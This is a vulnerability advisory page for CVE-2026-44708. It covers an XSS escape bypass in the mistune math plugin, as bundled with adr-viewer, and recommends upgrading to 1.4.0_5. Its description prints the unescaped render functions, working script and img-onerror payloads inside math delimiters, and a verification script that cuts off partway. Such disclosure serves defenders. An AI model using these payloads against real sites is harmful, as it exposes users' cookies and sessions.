VulnerabilityPublished 13 Aug 2026Updated 18 Sep 2026

CVE-2026-44708: Adr viewer · Mistune Math Plugin has an XSS Escape Bypass

Affects adr-viewerSource GCVE Database

Compare

Authoritative record:CVE-2026-44708· Medium 6.1

Not known to be exploited · CVSS 6.1 Medium : upgrade to 1.4.0_5 when convenient.

Data as of 1 Nov 2026, 22:58 UTC

CVSS 3.1 base score

6.1Medium

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.2% chance of exploitation in 30 days – higher than 13% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 1.4.0_5

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: Required
Scope: Changed
Confidentiality: Low
Integrity: Low
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: Required: Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited.
Scope: Changed: An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
Confidentiality: Low: There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.
Integrity: Low: Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 26 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 1 Nov 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade adr-viewer to 1.4.0_5.

Affected software

Product	Affected	Fixed in
Homebrewadr-viewer`pkg:brew/adr-viewer`Other threats	Affected >=1.3.0 <1.4.0_5	Fixed in 1.4.0_5

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary The mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. The result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's `_escape` flag entirely. ## Details **File:** `src/mistune/plugins/math.py` ```python def render_inline_math(renderer, text): # `text` is raw user input — no escape() call anywhere return r'<span class="math">$' + text + r"$</span>" def render_block_math(renderer, text): # same issue for block-level $$...$$ return '<div class="math">$$\n' + text + "\n$$</div>\n" ``` Both functions take `text` directly from the parsed token and concatenate it into the output string. Neither function: - calls `escape(text)` from `mistune.util` - checks `renderer._escape` - calls `safe_entity(text)` or any other sanitisation helper The `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not. ## PoC **Step 1 — Establish the baseline (escape=True works for plain HTML)** The script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `<script>` tag that is *not* inside math delimiters: ```python md = create_markdown(escape=True, plugins=["math"]) bl_src = "<script>alert(document.cookie)</script>\n" bl_out = str(md(bl_src)) ``` Expected and actual output — the script tag is correctly escaped: ```html <p><script>alert(document.cookie)</script></p> ``` This confirms `escape=True` is working for the normal render path. **Step 2 — Craft the exploit payload** Wrap the identical `<script>` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`: ```python ex_src = "$<script>alert(document.cookie)</script>$\n" ex_out = str(md(ex_src)) ``` **Step 3 — Observe the bypass** Actual output — the script tag is emitted raw, unescaped: ```html <p><span class="math">$<script>alert(document.cookie)</script>$</span></p> ``` The `<script>` block is live inside the `<span class="math">` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`. **Step 4 — Block math variant (`$$...$$`)** The same bypass applies to block-level math. Payload: ``` $$ <img src=x onerror="alert(document.cookie)"> $$ ``` Output: ```html <div class="math">$$ <img src=x onerror="alert(document.cookie)"> $$</div> ``` The `onerror` handler fires as soon as the browser tries to load the non-existent image `x`. ### Script A verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser. ```python #!/usr/bin/env python3 """H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw.""" import os, html as h from mistune import create_markdown md = create_markdown(escape=True, plugins=["math"]) # --- baseline --- bl_file = "baseline_h1.md" bl_src = "<script>alert(document.cookie)</script>\n" with open(os.path.join(os.getcwd(), bl_file), "w") as f: f.write(bl_src) bl_out = str(md(bl_src)) print(f"[{bl_file}]\n{bl_src}") print("[output — escape=True works normally here]") print(bl_out) # --- exploit --- ex_file = "exploit_h1.md" ex_src = "$<script>alert(document.cookie)</script>$\n" with open(os.path.join(os.getcwd(), ex_file), "w") as f: f.write(ex_src) ex_out = str(md(ex_src)) print(f"[{ex_file}]\n{ex_src}") print("[output — escape=True bypassed inside math delimiters]") print(ex_out) # --- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radi

References

Community reviews

Loading reviews…